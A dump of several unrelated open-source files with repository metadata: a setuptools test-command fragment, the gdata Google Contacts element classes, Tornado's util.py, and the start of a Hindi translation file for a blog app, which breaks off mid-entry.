False): module = self.test_args[-1].split('.')[0] if module in _namespace_packages: del_modules = [] if module in sys.modules: del_modules.append(module) module += '.' for name in sys.modules: if name.startswith(module): del_modules.append(name) list(map(sys.modules.__delitem__, del_modules)) unittest_main( None, None, [unittest.__file__] + self.test_args, testLoader=self._resolve_as_ep(self.test_loader), testRunner=self._resolve_as_ep(self.test_runner), ) @staticmethod def _resolve_as_ep(val): """ Load the indicated attribute value, called, as a as if it were specified as an entry point. """ if val is None: return parsed = EntryPoint.parse("x=" + val) return parsed.load(require=False)()
mit
kbdick/RecycleTracker
recyclecollector/scrap/gdata-2.0.18/src/gdata/contacts/__init__.py
119
28208
#!/usr/bin/env python # # Copyright 2009 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Contains extensions to ElementWrapper objects used with Google Contacts.""" __author__ = 'dbrattli (Dag Brattli)' import atom import gdata ## Constants from http://code.google.com/apis/gdata/elements.html ## REL_HOME = 'http://schemas.google.com/g/2005#home' REL_WORK = 'http://schemas.google.com/g/2005#work' REL_OTHER = 'http://schemas.google.com/g/2005#other' # AOL Instant Messenger protocol IM_AIM = 'http://schemas.google.com/g/2005#AIM' IM_MSN = 'http://schemas.google.com/g/2005#MSN' # MSN Messenger protocol IM_YAHOO = 'http://schemas.google.com/g/2005#YAHOO' # Yahoo Messenger protocol IM_SKYPE = 'http://schemas.google.com/g/2005#SKYPE' # Skype protocol IM_QQ = 'http://schemas.google.com/g/2005#QQ' # QQ protocol # Google Talk protocol IM_GOOGLE_TALK = 'http://schemas.google.com/g/2005#GOOGLE_TALK' IM_ICQ = 'http://schemas.google.com/g/2005#ICQ' # ICQ protocol IM_JABBER = 'http://schemas.google.com/g/2005#JABBER' # Jabber protocol IM_NETMEETING = 'http://schemas.google.com/g/2005#netmeeting' # NetMeeting PHOTO_LINK_REL = 'http://schemas.google.com/contacts/2008/rel#photo' PHOTO_EDIT_LINK_REL = 'http://schemas.google.com/contacts/2008/rel#edit-photo' # Different phone types, for more info see: # http://code.google.com/apis/gdata/docs/2.0/elements.html#gdPhoneNumber PHONE_CAR = 'http://schemas.google.com/g/2005#car' PHONE_FAX = 'http://schemas.google.com/g/2005#fax' PHONE_GENERAL = 'http://schemas.google.com/g/2005#general' PHONE_HOME = REL_HOME PHONE_HOME_FAX = 'http://schemas.google.com/g/2005#home_fax' PHONE_INTERNAL = 'http://schemas.google.com/g/2005#internal-extension' PHONE_MOBILE = 'http://schemas.google.com/g/2005#mobile' PHONE_OTHER = REL_OTHER PHONE_PAGER = 'http://schemas.google.com/g/2005#pager' PHONE_SATELLITE = 'http://schemas.google.com/g/2005#satellite' PHONE_VOIP = 'http://schemas.google.com/g/2005#voip' PHONE_WORK = REL_WORK PHONE_WORK_FAX = 'http://schemas.google.com/g/2005#work_fax' PHONE_WORK_MOBILE = 'http://schemas.google.com/g/2005#work_mobile' PHONE_WORK_PAGER = 'http://schemas.google.com/g/2005#work_pager' PHONE_MAIN = 'http://schemas.google.com/g/2005#main' PHONE_ASSISTANT = 'http://schemas.google.com/g/2005#assistant' PHONE_CALLBACK = 'http://schemas.google.com/g/2005#callback' PHONE_COMPANY_MAIN = 'http://schemas.google.com/g/2005#company_main' PHONE_ISDN = 'http://schemas.google.com/g/2005#isdn' PHONE_OTHER_FAX = 'http://schemas.google.com/g/2005#other_fax' PHONE_RADIO = 'http://schemas.google.com/g/2005#radio' PHONE_TELEX = 'http://schemas.google.com/g/2005#telex' PHONE_TTY_TDD = 'http://schemas.google.com/g/2005#tty_tdd' EXTERNAL_ID_ORGANIZATION = 'organization' RELATION_MANAGER = 'manager' CONTACTS_NAMESPACE = 'http://schemas.google.com/contact/2008' class GDataBase(atom.AtomBase): """The Google Contacts intermediate class from atom.AtomBase.""" _namespace = gdata.GDATA_NAMESPACE _children = atom.AtomBase._children.copy() _attributes = atom.AtomBase._attributes.copy() def __init__(self, text=None, extension_elements=None, extension_attributes=None): self.text = text self.extension_elements = extension_elements or [] self.extension_attributes = extension_attributes or {} class ContactsBase(GDataBase): """The Google Contacts intermediate class for Contacts namespace.""" _namespace = CONTACTS_NAMESPACE class OrgName(GDataBase): """The Google Contacts OrgName element.""" _tag = 'orgName' class OrgTitle(GDataBase): """The Google Contacts OrgTitle element.""" _tag = 'orgTitle' class OrgDepartment(GDataBase): """The Google Contacts OrgDepartment element.""" _tag = 'orgDepartment' class OrgJobDescription(GDataBase): """The Google Contacts OrgJobDescription element.""" _tag = 'orgJobDescription' class Where(GDataBase): """The Google Contacts Where element.""" _tag = 'where' _children = GDataBase._children.copy() _attributes = GDataBase._attributes.copy() _attributes['rel'] = 'rel' _attributes['label'] = 'label' _attributes['valueString'] = 'value_string' def __init__(self, value_string=None, rel=None, label=None, text=None, extension_elements=None, extension_attributes=None): GDataBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.rel = rel self.label = label self.value_string = value_string class When(GDataBase): """The Google Contacts When element.""" _tag = 'when' _children = GDataBase._children.copy() _attributes = GDataBase._attributes.copy() _attributes['startTime'] = 'start_time' _attributes['endTime'] = 'end_time' _attributes['label'] = 'label' def __init__(self, start_time=None, end_time=None, label=None, text=None, extension_elements=None, extension_attributes=None): GDataBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.start_time = start_time self.end_time = end_time self.label = label class Organization(GDataBase): """The Google Contacts Organization element.""" _tag = 'organization' _children = GDataBase._children.copy() _attributes = GDataBase._attributes.copy() _attributes['label'] = 'label' _attributes['rel'] = 'rel' _attributes['primary'] = 'primary' _children['{%s}orgName' % GDataBase._namespace] = ( 'org_name', OrgName) _children['{%s}orgTitle' % GDataBase._namespace] = ( 'org_title', OrgTitle) _children['{%s}orgDepartment' % GDataBase._namespace] = ( 'org_department', OrgDepartment) _children['{%s}orgJobDescription' % GDataBase._namespace] = ( 'org_job_description', OrgJobDescription) #_children['{%s}where' % GDataBase._namespace] = ('where', Where) def __init__(self, label=None, rel=None, primary='false', org_name=None, org_title=None, org_department=None, org_job_description=None, where=None, text=None, extension_elements=None, extension_attributes=None): GDataBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.label = label self.rel = rel or REL_OTHER self.primary = primary self.org_name = org_name self.org_title = org_title self.org_department = org_department self.org_job_description = org_job_description self.where = where class PostalAddress(GDataBase): """The Google Contacts PostalAddress element.""" _tag = 'postalAddress' _children = GDataBase._children.copy() _attributes = GDataBase._attributes.copy() _attributes['rel'] = 'rel' _attributes['primary'] = 'primary' def __init__(self, primary=None, rel=None, text=None, extension_elements=None, extension_attributes=None): GDataBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.rel = rel or REL_OTHER self.primary = primary class FormattedAddress(GDataBase): """The Google Contacts FormattedAddress element.""" _tag = 'formattedAddress' class StructuredPostalAddress(GDataBase): """The Google Contacts StructuredPostalAddress element.""" _tag = 'structuredPostalAddress' _children = GDataBase._children.copy() _attributes = GDataBase._attributes.copy() _attributes['rel'] = 'rel' _attributes['primary'] = 'primary' _children['{%s}formattedAddress' % GDataBase._namespace] = ( 'formatted_address', FormattedAddress) def __init__(self, rel=None, primary=None, formatted_address=None, text=None, extension_elements=None, extension_attributes=None): GDataBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.rel = rel or REL_OTHER self.primary = primary self.formatted_address = formatted_address class IM(GDataBase): """The Google Contacts IM element.""" _tag = 'im' _children = GDataBase._children.copy() _attributes = GDataBase._attributes.copy() _attributes['address'] = 'address' _attributes['primary'] = 'primary' _attributes['protocol'] = 'protocol' _attributes['label'] = 'label' _attributes['rel'] = 'rel' def __init__(self, primary='false', rel=None, address=None, protocol=None, label=None, text=None, extension_elements=None, extension_attributes=None): GDataBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.protocol = protocol self.address = address self.primary = primary self.rel = rel or REL_OTHER self.label = label class Email(GDataBase): """The Google Contacts Email element.""" _tag = 'email' _children = GDataBase._children.copy() _attributes = GDataBase._attributes.copy() _attributes['address'] = 'address' _attributes['primary'] = 'primary' _attributes['rel'] = 'rel' _attributes['label'] = 'label' def __init__(self, label=None, rel=None, address=None, primary='false', text=None, extension_elements=None, extension_attributes=None): GDataBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.label = label self.rel = rel or REL_OTHER self.address = address self.primary = primary class PhoneNumber(GDataBase): """The Google Contacts PhoneNumber element.""" _tag = 'phoneNumber' _children = GDataBase._children.copy() _attributes = GDataBase._attributes.copy() _attributes['label'] = 'label' _attributes['rel'] = 'rel' _attributes['uri'] = 'uri' _attributes['primary'] = 'primary' def __init__(self, label=None, rel=None, uri=None, primary='false', text=None, extension_elements=None, extension_attributes=None): GDataBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.label = label self.rel = rel or REL_OTHER self.uri = uri self.primary = primary class Nickname(ContactsBase): """The Google Contacts Nickname element.""" _tag = 'nickname' class Occupation(ContactsBase): """The Google Contacts Occupation element.""" _tag = 'occupation' class Gender(ContactsBase): """The Google Contacts Gender element.""" _tag = 'gender' _children = ContactsBase._children.copy() _attributes = ContactsBase._attributes.copy() _attributes['value'] = 'value' def __init__(self, value=None, text=None, extension_elements=None, extension_attributes=None): ContactsBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.value = value class Birthday(ContactsBase): """The Google Contacts Birthday element.""" _tag = 'birthday' _children = ContactsBase._children.copy() _attributes = ContactsBase._attributes.copy() _attributes['when'] = 'when' def __init__(self, when=None, text=None, extension_elements=None, extension_attributes=None): ContactsBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.when = when class Relation(ContactsBase): """The Google Contacts Relation element.""" _tag = 'relation' _children = ContactsBase._children.copy() _attributes = ContactsBase._attributes.copy() _attributes['label'] = 'label' _attributes['rel'] = 'rel' def __init__(self, label=None, rel=None, text=None, extension_elements=None, extension_attributes=None): ContactsBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.label = label self.rel = rel def RelationFromString(xml_string): return atom.CreateClassFromXMLString(Relation, xml_string) class UserDefinedField(ContactsBase): """The Google Contacts UserDefinedField element.""" _tag = 'userDefinedField' _children = ContactsBase._children.copy() _attributes = ContactsBase._attributes.copy() _attributes['key'] = 'key' _attributes['value'] = 'value' def __init__(self, key=None, value=None, text=None, extension_elements=None, extension_attributes=None): ContactsBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.key = key self.value = value def UserDefinedFieldFromString(xml_string): return atom.CreateClassFromXMLString(UserDefinedField, xml_string) class Website(ContactsBase): """The Google Contacts Website element.""" _tag = 'website' _children = ContactsBase._children.copy() _attributes = ContactsBase._attributes.copy() _attributes['href'] = 'href' _attributes['label'] = 'label' _attributes['primary'] = 'primary' _attributes['rel'] = 'rel' def __init__(self, href=None, label=None, primary='false', rel=None, text=None, extension_elements=None, extension_attributes=None): ContactsBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.href = href self.label = label self.primary = primary self.rel = rel def WebsiteFromString(xml_string): return atom.CreateClassFromXMLString(Website, xml_string) class ExternalId(ContactsBase): """The Google Contacts ExternalId element.""" _tag = 'externalId' _children = ContactsBase._children.copy() _attributes = ContactsBase._attributes.copy() _attributes['label'] = 'label' _attributes['rel'] = 'rel' _attributes['value'] = 'value' def __init__(self, label=None, rel=None, value=None, text=None, extension_elements=None, extension_attributes=None): ContactsBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.label = label self.rel = rel self.value = value def ExternalIdFromString(xml_string): return atom.CreateClassFromXMLString(ExternalId, xml_string) class Event(ContactsBase): """The Google Contacts Event element.""" _tag = 'event' _children = ContactsBase._children.copy() _attributes = ContactsBase._attributes.copy() _attributes['label'] = 'label' _attributes['rel'] = 'rel' _children['{%s}when' % ContactsBase._namespace] = ('when', When) def __init__(self, label=None, rel=None, when=None, text=None, extension_elements=None, extension_attributes=None): ContactsBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.label = label self.rel = rel self.when = when def EventFromString(xml_string): return atom.CreateClassFromXMLString(Event, xml_string) class Deleted(GDataBase): """The Google Contacts Deleted element.""" _tag = 'deleted' class GroupMembershipInfo(ContactsBase): """The Google Contacts GroupMembershipInfo element.""" _tag = 'groupMembershipInfo' _children = ContactsBase._children.copy() _attributes = ContactsBase._attributes.copy() _attributes['deleted'] = 'deleted' _attributes['href'] = 'href' def __init__(self, deleted=None, href=None, text=None, extension_elements=None, extension_attributes=None): ContactsBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.deleted = deleted self.href = href class PersonEntry(gdata.BatchEntry): """Base class for ContactEntry and ProfileEntry.""" _children = gdata.BatchEntry._children.copy() _children['{%s}organization' % gdata.GDATA_NAMESPACE] = ( 'organization', [Organization]) _children['{%s}phoneNumber' % gdata.GDATA_NAMESPACE] = ( 'phone_number', [PhoneNumber]) _children['{%s}nickname' % CONTACTS_NAMESPACE] = ('nickname', Nickname) _children['{%s}occupation' % CONTACTS_NAMESPACE] = ('occupation', Occupation) _children['{%s}gender' % CONTACTS_NAMESPACE] = ('gender', Gender) _children['{%s}birthday' % CONTACTS_NAMESPACE] = ('birthday', Birthday) _children['{%s}postalAddress' % gdata.GDATA_NAMESPACE] = ('postal_address', [PostalAddress]) _children['{%s}structuredPostalAddress' % gdata.GDATA_NAMESPACE] = ( 'structured_postal_address', [StructuredPostalAddress]) _children['{%s}email' % gdata.GDATA_NAMESPACE] = ('email', [Email]) _children['{%s}im' % gdata.GDATA_NAMESPACE] = ('im', [IM]) _children['{%s}relation' % CONTACTS_NAMESPACE] = ('relation', [Relation]) _children['{%s}userDefinedField' % CONTACTS_NAMESPACE] = ( 'user_defined_field', [UserDefinedField]) _children['{%s}website' % CONTACTS_NAMESPACE] = ('website', [Website]) _children['{%s}externalId' % CONTACTS_NAMESPACE] = ( 'external_id', [ExternalId]) _children['{%s}event' % CONTACTS_NAMESPACE] = ('event', [Event]) # The following line should be removed once the Python support # for GData 2.0 is mature. _attributes = gdata.BatchEntry._attributes.copy() _attributes['{%s}etag' % gdata.GDATA_NAMESPACE] = 'etag' def __init__(self, author=None, category=None, content=None, atom_id=None, link=None, published=None, title=None, updated=None, organization=None, phone_number=None, nickname=None, occupation=None, gender=None, birthday=None, postal_address=None, structured_postal_address=None, email=None, im=None, relation=None, user_defined_field=None, website=None, external_id=None, event=None, batch_operation=None, batch_id=None, batch_status=None, text=None, extension_elements=None, extension_attributes=None, etag=None): gdata.BatchEntry.__init__(self, author=author, category=category, content=content, atom_id=atom_id, link=link, published=published, batch_operation=batch_operation, batch_id=batch_id, batch_status=batch_status, title=title, updated=updated) self.organization = organization or [] self.phone_number = phone_number or [] self.nickname = nickname self.occupation = occupation self.gender = gender self.birthday = birthday self.postal_address = postal_address or [] self.structured_postal_address = structured_postal_address or [] self.email = email or [] self.im = im or [] self.relation = relation or [] self.user_defined_field = user_defined_field or [] self.website = website or [] self.external_id = external_id or [] self.event = event or [] self.text = text self.extension_elements = extension_elements or [] self.extension_attributes = extension_attributes or {} # The following line should be removed once the Python support # for GData 2.0 is mature. self.etag = etag class ContactEntry(PersonEntry): """A Google Contact flavor of an Atom Entry.""" _children = PersonEntry._children.copy() _children['{%s}deleted' % gdata.GDATA_NAMESPACE] = ('deleted', Deleted) _children['{%s}groupMembershipInfo' % CONTACTS_NAMESPACE] = ( 'group_membership_info', [GroupMembershipInfo]) _children['{%s}extendedProperty' % gdata.GDATA_NAMESPACE] = ( 'extended_property', [gdata.ExtendedProperty]) # Overwrite the organization rule in PersonEntry so that a ContactEntry # may only contain one <gd:organization> element. _children['{%s}organization' % gdata.GDATA_NAMESPACE] = ( 'organization', Organization) def __init__(self, author=None, category=None, content=None, atom_id=None, link=None, published=None, title=None, updated=None, organization=None, phone_number=None, nickname=None, occupation=None, gender=None, birthday=None, postal_address=None, structured_postal_address=None, email=None, im=None, relation=None, user_defined_field=None, website=None, external_id=None, event=None, batch_operation=None, batch_id=None, batch_status=None, text=None, extension_elements=None, extension_attributes=None, etag=None, deleted=None, extended_property=None, group_membership_info=None): PersonEntry.__init__(self, author=author, category=category, content=content, atom_id=atom_id, link=link, published=published, title=title, updated=updated, organization=organization, phone_number=phone_number, nickname=nickname, occupation=occupation, gender=gender, birthday=birthday, postal_address=postal_address, structured_postal_address=structured_postal_address, email=email, im=im, relation=relation, user_defined_field=user_defined_field, website=website, external_id=external_id, event=event, batch_operation=batch_operation, batch_id=batch_id, batch_status=batch_status, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes, etag=etag) self.deleted = deleted self.extended_property = extended_property or [] self.group_membership_info = group_membership_info or [] def GetPhotoLink(self): for a_link in self.link: if a_link.rel == PHOTO_LINK_REL: return a_link return None def GetPhotoEditLink(self): for a_link in self.link: if a_link.rel == PHOTO_EDIT_LINK_REL: return a_link return None def ContactEntryFromString(xml_string): return atom.CreateClassFromXMLString(ContactEntry, xml_string) class ContactsFeed(gdata.BatchFeed, gdata.LinkFinder): """A Google Contacts feed flavor of an Atom Feed.""" _children = gdata.BatchFeed._children.copy() _children['{%s}entry' % atom.ATOM_NAMESPACE] = ('entry', [ContactEntry]) def __init__(self, author=None, category=None, contributor=None, generator=None, icon=None, atom_id=None, link=None, logo=None, rights=None, subtitle=None, title=None, updated=None, entry=None, total_results=None, start_index=None, items_per_page=None, extension_elements=None, extension_attributes=None, text=None): gdata.BatchFeed.__init__(self, author=author, category=category, contributor=contributor, generator=generator, icon=icon, atom_id=atom_id, link=link, logo=logo, rights=rights, subtitle=subtitle, title=title, updated=updated, entry=entry, total_results=total_results, start_index=start_index, items_per_page=items_per_page, extension_elements=extension_elements, extension_attributes=extension_attributes, text=text) def ContactsFeedFromString(xml_string): return atom.CreateClassFromXMLString(ContactsFeed, xml_string) class GroupEntry(gdata.BatchEntry): """Represents a contact group.""" _children = gdata.BatchEntry._children.copy() _children['{%s}extendedProperty' % gdata.GDATA_NAMESPACE] = ( 'extended_property', [gdata.ExtendedProperty]) def __init__(self, author=None, category=None, content=None, contributor=None, atom_id=None, link=None, published=None, rights=None, source=None, summary=None, control=None, title=None, updated=None, extended_property=None, batch_operation=None, batch_id=None, batch_status=None, extension_elements=None, extension_attributes=None, text=None): gdata.BatchEntry.__init__(self, author=author, category=category, content=content, atom_id=atom_id, link=link, published=published, batch_operation=batch_operation, batch_id=batch_id, batch_status=batch_status, title=title, updated=updated) self.extended_property = extended_property or [] def GroupEntryFromString(xml_string): return atom.CreateClassFromXMLString(GroupEntry, xml_string) class GroupsFeed(gdata.BatchFeed): """A Google contact groups feed flavor of an Atom Feed.""" _children = gdata.BatchFeed._children.copy() _children['{%s}entry' % atom.ATOM_NAMESPACE] = ('entry', [GroupEntry]) def GroupsFeedFromString(xml_string): return atom.CreateClassFromXMLString(GroupsFeed, xml_string) class ProfileEntry(PersonEntry): """A Google Profiles flavor of an Atom Entry.""" def ProfileEntryFromString(xml_string): """Converts an XML string into a ProfileEntry object. Args: xml_string: string The XML describing a Profile entry. Returns: A ProfileEntry object corresponding to the given XML. """ return atom.CreateClassFromXMLString(ProfileEntry, xml_string) class ProfilesFeed(gdata.BatchFeed, gdata.LinkFinder): """A Google Profiles feed flavor of an Atom Feed.""" _children = gdata.BatchFeed._children.copy() _children['{%s}entry' % atom.ATOM_NAMESPACE] = ('entry', [ProfileEntry]) def __init__(self, author=None, category=None, contributor=None, generator=None, icon=None, atom_id=None, link=None, logo=None, rights=None, subtitle=None, title=None, updated=None, entry=None, total_results=None, start_index=None, items_per_page=None, extension_elements=None, extension_attributes=None, text=None): gdata.BatchFeed.__init__(self, author=author, category=category, contributor=contributor, generator=generator, icon=icon, atom_id=atom_id, link=link, logo=logo, rights=rights, subtitle=subtitle, title=title, updated=updated, entry=entry, total_results=total_results, start_index=start_index, items_per_page=items_per_page, extension_elements=extension_elements, extension_attributes=extension_attributes, text=text) def ProfilesFeedFromString(xml_string): """Converts an XML string into a ProfilesFeed object. Args: xml_string: string The XML describing a Profiles feed. Returns: A ProfilesFeed object corresponding to the given XML. """ return atom.CreateClassFromXMLString(ProfilesFeed, xml_string)
gpl-3.0
doot/CouchPotatoServer
libs/tornado/util.py
102
12256
"""Miscellaneous utility functions and classes. This module is used internally by Tornado. It is not necessarily expected that the functions and classes defined here will be useful to other applications, but they are documented here in case they are. The one public-facing part of this module is the `Configurable` class and its `~Configurable.configure` method, which becomes a part of the interface of its subclasses, including `.AsyncHTTPClient`, `.IOLoop`, and `.Resolver`. """ from __future__ import absolute_import, division, print_function, with_statement import array import inspect import os import sys import zlib try: xrange # py2 except NameError: xrange = range # py3 class ObjectDict(dict): """Makes a dictionary behave like an object, with attribute-style access. """ def __getattr__(self, name): try: return self[name] except KeyError: raise AttributeError(name) def __setattr__(self, name, value): self[name] = value class GzipDecompressor(object): """Streaming gzip decompressor. The interface is like that of `zlib.decompressobj` (without some of the optional arguments, but it understands gzip headers and checksums. """ def __init__(self): # Magic parameter makes zlib module understand gzip header # http://stackoverflow.com/questions/1838699/how-can-i-decompress-a-gzip-stream-with-zlib # This works on cpython and pypy, but not jython. self.decompressobj = zlib.decompressobj(16 + zlib.MAX_WBITS) def decompress(self, value, max_length=None): """Decompress a chunk, returning newly-available data. Some data may be buffered for later processing; `flush` must be called when there is no more input data to ensure that all data was processed. If ``max_length`` is given, some input data may be left over in ``unconsumed_tail``; you must retrieve this value and pass it back to a future call to `decompress` if it is not empty. """ return self.decompressobj.decompress(value, max_length) @property def unconsumed_tail(self): """Returns the unconsumed portion left over """ return self.decompressobj.unconsumed_tail def flush(self): """Return any remaining buffered data not yet returned by decompress. Also checks for errors such as truncated input. No other methods may be called on this object after `flush`. """ return self.decompressobj.flush() def import_object(name): """Imports an object by name. import_object('x') is equivalent to 'import x'. import_object('x.y.z') is equivalent to 'from x.y import z'. >>> import tornado.escape >>> import_object('tornado.escape') is tornado.escape True >>> import_object('tornado.escape.utf8') is tornado.escape.utf8 True >>> import_object('tornado') is tornado True >>> import_object('tornado.missing_module') Traceback (most recent call last): ... ImportError: No module named missing_module """ if name.count('.') == 0: return __import__(name, None, None) parts = name.split('.') obj = __import__('.'.join(parts[:-1]), None, None, [parts[-1]], 0) try: return getattr(obj, parts[-1]) except AttributeError: raise ImportError("No module named %s" % parts[-1]) # Fake unicode literal support: Python 3.2 doesn't have the u'' marker for # literal strings, and alternative solutions like "from __future__ import # unicode_literals" have other problems (see PEP 414). u() can be applied # to ascii strings that include \u escapes (but they must not contain # literal non-ascii characters). if type('') is not type(b''): def u(s): return s unicode_type = str basestring_type = str else: def u(s): return s.decode('unicode_escape') unicode_type = unicode basestring_type = basestring # Deprecated alias that was used before we dropped py25 support. # Left here in case anyone outside Tornado is using it. bytes_type = bytes if sys.version_info > (3,): exec(""" def raise_exc_info(exc_info): raise exc_info[1].with_traceback(exc_info[2]) def exec_in(code, glob, loc=None): if isinstance(code, str): code = compile(code, '<string>', 'exec', dont_inherit=True) exec(code, glob, loc) """) else: exec(""" def raise_exc_info(exc_info): raise exc_info[0], exc_info[1], exc_info[2] def exec_in(code, glob, loc=None): if isinstance(code, basestring): # exec(string) inherits the caller's future imports; compile # the string first to prevent that. code = compile(code, '<string>', 'exec', dont_inherit=True) exec code in glob, loc """) def errno_from_exception(e): """Provides the errno from an Exception object. There are cases that the errno attribute was not set so we pull the errno out of the args but if someone instantiates an Exception without any args you will get a tuple error. So this function abstracts all that behavior to give you a safe way to get the errno. """ if hasattr(e, 'errno'): return e.errno elif e.args: return e.args[0] else: return None class Configurable(object): """Base class for configurable interfaces. A configurable interface is an (abstract) class whose constructor acts as a factory function for one of its implementation subclasses. The implementation subclass as well as optional keyword arguments to its initializer can be set globally at runtime with `configure`. By using the constructor as the factory method, the interface looks like a normal class, `isinstance` works as usual, etc. This pattern is most useful when the choice of implementation is likely to be a global decision (e.g. when `~select.epoll` is available, always use it instead of `~select.select`), or when a previously-monolithic class has been split into specialized subclasses. Configurable subclasses must define the class methods `configurable_base` and `configurable_default`, and use the instance method `initialize` instead of ``__init__``. """ __impl_class = None __impl_kwargs = None def __new__(cls, **kwargs): base = cls.configurable_base() args = {} if cls is base: impl = cls.configured_class() if base.__impl_kwargs: args.update(base.__impl_kwargs) else: impl = cls args.update(kwargs) instance = super(Configurable, cls).__new__(impl) # initialize vs __init__ chosen for compatibility with AsyncHTTPClient # singleton magic. If we get rid of that we can switch to __init__ # here too. instance.initialize(**args) return instance @classmethod def configurable_base(cls): """Returns the base class of a configurable hierarchy. This will normally return the class in which it is defined. (which is *not* necessarily the same as the cls classmethod parameter). """ raise NotImplementedError() @classmethod def configurable_default(cls): """Returns the implementation class to be used if none is configured.""" raise NotImplementedError() def initialize(self): """Initialize a `Configurable` subclass instance. Configurable classes should use `initialize` instead of ``__init__``. """ @classmethod def configure(cls, impl, **kwargs): """Sets the class to use when the base class is instantiated. Keyword arguments will be saved and added to the arguments passed to the constructor. This can be used to set global defaults for some parameters. """ base = cls.configurable_base() if isinstance(impl, (unicode_type, bytes)): impl = import_object(impl) if impl is not None and not issubclass(impl, cls): raise ValueError("Invalid subclass of %s" % cls) base.__impl_class = impl base.__impl_kwargs = kwargs @classmethod def configured_class(cls): """Returns the currently configured class.""" base = cls.configurable_base() if cls.__impl_class is None: base.__impl_class = cls.configurable_default() return base.__impl_class @classmethod def _save_configuration(cls): base = cls.configurable_base() return (base.__impl_class, base.__impl_kwargs) @classmethod def _restore_configuration(cls, saved): base = cls.configurable_base() base.__impl_class = saved[0] base.__impl_kwargs = saved[1] class ArgReplacer(object): """Replaces one value in an ``args, kwargs`` pair. Inspects the function signature to find an argument by name whether it is passed by position or keyword. For use in decorators and similar wrappers. """ def __init__(self, func, name): self.name = name try: self.arg_pos = inspect.getargspec(func).args.index(self.name) except ValueError: # Not a positional parameter self.arg_pos = None def get_old_value(self, args, kwargs, default=None): """Returns the old value of the named argument without replacing it. Returns ``default`` if the argument is not present. """ if self.arg_pos is not None and len(args) > self.arg_pos: return args[self.arg_pos] else: return kwargs.get(self.name, default) def replace(self, new_value, args, kwargs): """Replace the named argument in ``args, kwargs`` with ``new_value``. Returns ``(old_value, args, kwargs)``. The returned ``args`` and ``kwargs`` objects may not be the same as the input objects, or the input objects may be mutated. If the named argument was not found, ``new_value`` will be added to ``kwargs`` and None will be returned as ``old_value``. """ if self.arg_pos is not None and len(args) > self.arg_pos: # The arg to replace is passed positionally old_value = args[self.arg_pos] args = list(args) # *args is normally a tuple args[self.arg_pos] = new_value else: # The arg to replace is either omitted or passed by keyword. old_value = kwargs.get(self.name) kwargs[self.name] = new_value return old_value, args, kwargs def timedelta_to_seconds(td): """Equivalent to td.total_seconds() (introduced in python 2.7).""" return (td.microseconds + (td.seconds + td.days * 24 * 3600) * 10 ** 6) / float(10 ** 6) def _websocket_mask_python(mask, data): """Websocket masking function. `mask` is a `bytes` object of length 4; `data` is a `bytes` object of any length. Returns a `bytes` object of the same length as `data` with the mask applied as specified in section 5.3 of RFC 6455. This pure-python implementation may be replaced by an optimized version when available. """ mask = array.array("B", mask) unmasked = array.array("B", data) for i in xrange(len(data)): unmasked[i] = unmasked[i] ^ mask[i % 4] if hasattr(unmasked, 'tobytes'): # tostring was deprecated in py32. It hasn't been removed, # but since we turn on deprecation warnings in our tests # we need to use the right one. return unmasked.tobytes() else: return unmasked.tostring() if (os.environ.get('TORNADO_NO_EXTENSION') or os.environ.get('TORNADO_EXTENSION') == '0'): # These environment variables exist to make it easier to do performance # comparisons; they are not guaranteed to remain supported in the future. _websocket_mask = _websocket_mask_python else: try: from tornado.speedups import websocket_mask as _websocket_mask except ImportError: if os.environ.get('TORNADO_EXTENSION') == '1': raise _websocket_mask = _websocket_mask_python def doctests(): import doctest return doctest.DocTestSuite()
gpl-3.0
aidan-fitz/instant-press
languages/hi-hi.py
6
10092
# coding: utf8 { '"update" is an optional expression like "field1=\'newvalue\'". You cannot update or delete the results of a JOIN': '"update" is an optional expression like "field1=\'newvalue\'". You cannot update or delete the results of a JOIN', '%Y-%m-%d': '%Y-%m-%d', '%Y-%m-%d %H:%M:%S': '%Y-%m-%d %H:%M:%S', '%s rows deleted': '%s पंक्तियाँ मिटाएँ', '%s rows updated': '%s पंक्तियाँ अद्यतन', 'Admin Panel': 'Admin Panel', 'Are you sure to delete this category?': 'Are you sure to delete this category?', 'Are you sure you want to delete this category?': 'Are you sure you want to delete this category?', 'Articles in Archive ': 'Articles in Archive ', 'Articles with ': 'Articles with ', 'Articles with category': 'Articles with category', 'Articles with tag': 'Articles with tag', 'Available databases and tables': 'उपलब्ध डेटाबेस और तालिका', 'Avatar uploaded': 'Avatar uploaded', 'Avatars are disable.': 'Avatars are disable.', 'Back to the index page': 'Back to the index page', 'Cannot be empty': 'खाली नहीं हो सकता', 'Change Avatar': 'Change Avatar', 'Change Password': 'पासवर्ड बदलें', 'Change about': 'Change about', 'Change author': 'Change author', 'Change content': 'Change content', 'Change css': 'Change css', 'Change description': 'Change description', 'Change email': 'Change email', 'Change extract': 'Change extract', 'Change first name': 'Change first name', 'Change footer': 'Change footer', 'Change front page': 'Change front page', 'Change keywords (sep. by ,)': 'Change keywords (sep. by ,)', 'Change last name': 'Change last name', 'Change logo url': 'Change logo url', 'Change name': 'Change name', 'Change 